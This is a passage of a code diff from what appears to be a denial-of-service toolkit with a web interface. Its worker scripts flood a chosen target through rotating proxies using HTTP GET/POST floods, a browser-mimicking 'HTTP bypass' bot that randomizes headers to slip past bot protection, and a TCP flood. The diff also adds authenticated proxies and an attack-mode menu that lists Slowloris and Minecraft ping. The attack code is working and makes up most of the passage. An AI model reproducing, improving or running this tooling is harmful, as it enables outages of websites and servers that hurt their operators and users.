"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
||||
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,image/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
|
||||
];
|
||||
|
||||
const HTTP_LANGUAGE_HEADERS = [
|
||||
"en-US,en;q=0.5",
|
||||
"es-ES,en;q=0.5",
|
||||
"fr-FR,en;q=0.5",
|
||||
"de-DE,en;q=0.5",
|
||||
"it-IT,en;q=0.5",
|
||||
"pt-BR,en;q=0.5",
|
||||
];
|
||||
|
||||
const HTTP_ENCODING_HEADERS = [
|
||||
"gzip, deflate, br",
|
||||
"gzip, deflate",
|
||||
"gzip",
|
||||
"deflate, br",
|
||||
"deflate",
|
||||
"br",
|
||||
];
|
||||
|
||||
const startAttack = () => {
|
||||
const { target, proxies, userAgents, duration } = workerData;
|
||||
const fixedTarget = target.startsWith("http") ? target : `https://${target}`;
|
||||
|
||||
let totalPackets = 0;
|
||||
const pool = new Set();
|
||||
|
||||
const createBot = (proxy) => {
|
||||
const bot = new HTTPBot({
|
||||
proxy,
|
||||
userAgent: randomItem(userAgents),
|
||||
followRedirects: true,
|
||||
headers: {
|
||||
Accept: randomItem(HTTP_ACCEPT_HEADERS),
|
||||
"Accept-Language": randomItem(HTTP_LANGUAGE_HEADERS),
|
||||
"Accept-Encoding": randomItem(HTTP_ENCODING_HEADERS),
|
||||
Connection: "keep-alive",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
},
|
||||
responseCallback: (error) => {
|
||||
if (error) {
|
||||
parentPort.postMessage({
|
||||
log: `❌ Request failed from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}: ${error.message}`,
|
||||
totalPackets,
|
||||
});
|
||||
} else {
|
||||
totalPackets++;
|
||||
parentPort.postMessage({
|
||||
log: `✅ Request successful from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
|
||||
totalPackets,
|
||||
});
|
||||
}
|
||||
},
|
||||
});
|
||||
|
||||
pool.add(bot);
|
||||
bot.startCycle(fixedTarget);
|
||||
};
|
||||
|
||||
const createPool = () => {
|
||||
proxies.forEach((proxy) => createBot(proxy));
|
||||
};
|
||||
|
||||
const clearPool = () => {
|
||||
pool.forEach((bot) => bot.stopCycle());
|
||||
pool.clear();
|
||||
};
|
||||
|
||||
setTimeout(() => {
|
||||
clearPool();
|
||||
parentPort.postMessage({ log: "Attack finished", totalPackets });
|
||||
process.exit(0);
|
||||
}, duration * 1000);
|
||||
|
||||
createPool();
|
||||
};
|
||||
|
||||
if (workerData) {
|
||||
startAttack();
|
||||
}
|
|
@ -1,7 +1,6 @@
|
|||
import axios from "axios";
|
||||
import { SocksProxyAgent } from "socks-proxy-agent";
|
||||
import { parentPort, workerData } from "worker_threads";
|
||||
|
||||
import { createMimicHttpClient } from "../utils/clientUtils.js";
|
||||
import { randomBoolean, randomString } from "../utils/randomUtils.js";
|
||||
|
||||
const startAttack = () => {
|
||||
|
@ -14,32 +13,14 @@ const startAttack = () => {
|
|||
|
||||
const sendRequest = async (proxy, userAgent) => {
|
||||
try {
|
||||
const config = {
|
||||
headers: { "User-Agent": userAgent },
|
||||
timeout: 2000,
|
||||
validateStatus: (status) => {
|
||||
return status < 500;
|
||||
},
|
||||
};
|
||||
|
||||
if (proxy.protocol === "http") {
|
||||
config.proxy = {
|
||||
host: proxy.host,
|
||||
port: proxy.port,
|
||||
};
|
||||
} else if (proxy.protocol === "socks4" || proxy.protocol === "socks5") {
|
||||
config.httpAgent = new SocksProxyAgent(
|
||||
`${proxy.protocol}://${proxy.host}:${proxy.port}`
|
||||
);
|
||||
}
|
||||
|
||||
const client = createMimicHttpClient(proxy, userAgent);
|
||||
const isGet = packetSize > 64 ? false : randomBoolean();
|
||||
const payload = randomString(packetSize);
|
||||
|
||||
if (isGet) {
|
||||
await axios.get(`${fixedTarget}/${payload}`, config);
|
||||
await client.get(`${fixedTarget}/${payload}`);
|
||||
} else {
|
||||
await axios.post(fixedTarget, payload, config);
|
||||
await client.post(fixedTarget, payload);
|
||||
}
|
||||
|
||||
totalPackets++;
|
||||
|
|
|
@ -31,7 +31,7 @@ const startAttack = () => {
|
|||
Host: targetHost,
|
||||
},
|
||||
agent: new SocksProxyAgent(
|
||||
`${proxy.protocol}://${proxy.host}:${proxy.port}`
|
||||
`${proxy.protocol}://${proxy.username && proxy.password ? `${proxy.username}:${proxy.password}@` : ""}${proxy.host}:${proxy.port}`
|
||||
),
|
||||
};
|
||||
|
||||
|
|
|
@ -1,7 +1,6 @@
|
|||
import net from "net";
|
||||
import { SocksProxyAgent } from "socks-proxy-agent";
|
||||
import { parentPort, workerData } from "worker_threads";
|
||||
|
||||
import { createTcpClient } from "../utils/clientUtils.js";
|
||||
import { randomString } from "../utils/randomUtils.js";
|
||||
|
||||
const startAttack = () => {
|
||||
|
@ -11,40 +10,31 @@ const startAttack = () => {
|
|||
const port = parseInt(targetPort, 10);
|
||||
const fixedTarget = target.startsWith("http") ? target : `tcp://${target}`;
|
||||
|
||||
if (isNaN(port)) throw new Error("Invalid port: Should be a number");
|
||||
if (port < 1 || port > 65535)
|
||||
throw new Error("Invalid port: Should be between 1 and 65535");
|
||||
|
||||
let totalPackets = 0;
|
||||
const startTime = Date.now();
|
||||
|
||||
const sendPacket = async (proxy) => {
|
||||
const socket = new net.Socket();
|
||||
let open = false;
|
||||
socket.setTimeout(2000);
|
||||
const socket = createTcpClient(proxy, { host: targetHost, port: port });
|
||||
|
||||
const proxyAgent = new SocksProxyAgent(
|
||||
`${proxy.protocol}://${proxy.host}:${proxy.port}`
|
||||
);
|
||||
|
||||
setInterval(() => {
|
||||
if (socket.writable && open) {
|
||||
socket.write(randomString(packetSize));
|
||||
}
|
||||
}, [1000]);
|
||||
|
||||
socket.connect({ host: targetHost, port: port, agent: proxyAgent }, () => {
|
||||
socket.on("connect", () => {
|
||||
totalPackets++;
|
||||
open = true;
|
||||
|
||||
parentPort.postMessage({
|
||||
log: `✅ Packet sent from ${proxy.protocol}://${proxy.host}:${proxy.port} to ${fixedTarget}`,
|
||||
totalPackets,
|
||||
});
|
||||
});
|
||||
|
||||
socket.on("close", () => {
|
||||
open = false;
|
||||
});
|
||||
|
||||
socket.on("timeout", () => {
|
||||
socket.destroy();
|
||||
open = false;
|
||||
const interval = setInterval(() => {
|
||||
if (socket.writable && socket["open"]) {
|
||||
socket.write(randomString(packetSize));
|
||||
} else {
|
||||
clearInterval(interval);
|
||||
}
|
||||
}, 3000);
|
||||
});
|
||||
|
||||
socket.on("error", (err) => {
|
||||
|
|
23
src/App.tsx
23
src/App.tsx
|
@ -2,7 +2,25 @@ import { Bot, ScrollText, Wand2, Wifi, Zap } from "lucide-react";
|
|||
import { useEffect, useRef, useState } from "react";
|
||||
import { io } from "socket.io-client";
|
||||
|
||||
const socket = io("http://localhost:3000");
|
||||
function isHostLocal(host: string) {
|
||||
return (
|
||||
host === "localhost" ||
|
||||
host === "127.0.0.1" ||
|
||||
host.startsWith("::1") ||
|
||||
host.startsWith("192.168") ||
|
||||
host.startsWith("10.") ||
|
||||
host.startsWith("172.")
|
||||
);
|
||||
}
|
||||
|
||||
function getSocketURL() {
|
||||
const host = window.location.host.split(":")[0];
|
||||
const isLocal = isHostLocal(host);
|
||||
const socketURL = isLocal ? `http://${host}:3000` : "/";
|
||||
return socketURL;
|
||||
}
|
||||
|
||||
const socket = io(getSocketURL());
|
||||
|
||||
function ConfigureProxiesAndAgentsView() {
|
||||
const [loadingConfiguration, setLoadingConfiguration] = useState(false);
|
||||
|
@ -69,7 +87,7 @@ function ConfigureProxiesAndAgentsView() {
|
|||
onChange={(e) =>
|
||||
setConfiguration([e.target.value, configuration[1]])
|
||||
}
|
||||
placeholder="socks5://0.0.0.0"
|
||||
placeholder="socks5://0.0.0.0 socks4://user:pass@0.0.0.0:12345"
|
||||
></textarea>
|
||||
<p className="pl-1 mt-2 mb-1 italic">uas.txt</p>
|
||||
<textarea
|
||||
|
@ -369,6 +387,7 @@ function App() {
|
|||
disabled={isAttacking}
|
||||
>
|
||||
<option value="http_flood">HTTP/Flood</option>
|
||||
<option value="http_bypass">HTTP/Bypass</option>
|
||||
<option value="http_slowloris">HTTP/Slowloris</option>
|
||||
<option value="tcp_flood">TCP/Flood</option>
|
||||
<option value="minecraft_ping">Minecraft/Ping</option>
|
||||
|
|
|
@ -156,7 +156,7 @@ input[type=range].volume_bar:focus::-ms-fill-upper {
|
|||
background: linear-gradient(to bottom right, rgba(236, 72, 153, 1), rgba(59, 130, 246, 1));
|
||||
}
|
||||
/*TODO: Use one of the selectors from https://stackoverflow.com/a/20541859/7077589 and figure out
|
||||
how to remove the virtical space around the range input in IE*/
|
||||
how to remove the vertical space around the range input in IE*/
|
||||
@supports (-ms-ime-align:auto) {
|
||||
/* Pre-Chromium Edge only styles, selector taken from hhttps://stackoverflow.com/a/32202953/7077589 */
|
||||
input[type=range].volume_bar {
|
||||
|
|
29
tsconfig.server.json
Normal file
29
tsconfig.server.json
Normal file
|
@ -0,0 +1,29 @@
|
|||
{
|
||||
"compilerOptions": {
|
||||
"baseUrl": ".",
|
||||
"paths": {
|
||||
"*": ["*"]
|
||||
},
|
||||
"target": "ESNext",
|
||||
"module": "ESNext",
|
||||
"moduleResolution": "node",
|
||||
"strict": true,
|
||||
"esModuleInterop": true,
|
||||
"forceConsistentCasingInFileNames": true,
|
||||
"skipLibCheck": true,
|
||||
"outDir": "dist",
|
||||
"rootDir": "server",
|
||||
"allowSyntheticDefaultImports": true,
|
||||
"noImplicitAny": false
|
||||
},
|
||||
"include": ["server/**/*.ts"],
|
||||
"exclude": ["node_modules"],
|
||||
"tsc-alias": {
|
||||
"verbose": false,
|
||||
"resolveFullPaths": true,
|
||||
"fileExtensions": {
|
||||
"inputGlob": "{js,jsx,mjs}",
|
||||
"outputCheck": ["js", "json", "jsx", "mjs"]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,5 +1,6 @@
|
|||
import react from '@vitejs/plugin-react';
|
||||
import { defineConfig } from 'vite';
|
||||
import react from "@vitejs/plugin-react";
|
||||
import path from "path";
|
||||
import { defineConfig } from "vite";
|
||||
|
||||
// https://vitejs.dev/config/
|
||||
export default defineConfig({
|
||||
|
@ -7,4 +8,10 @@ export default defineConfig({
|
|||
optimizeDeps: {
|
||||
exclude: [],
|
||||
},
|
||||
build: {
|
||||
outDir: path.resolve(__dirname, "dist/public"),
|
||||
},
|
||||
server: {
|
||||
strictPort: true,
|
||||
},
|
||||
});
|
||||
|
|
Loading…
Add table
Reference in a new issue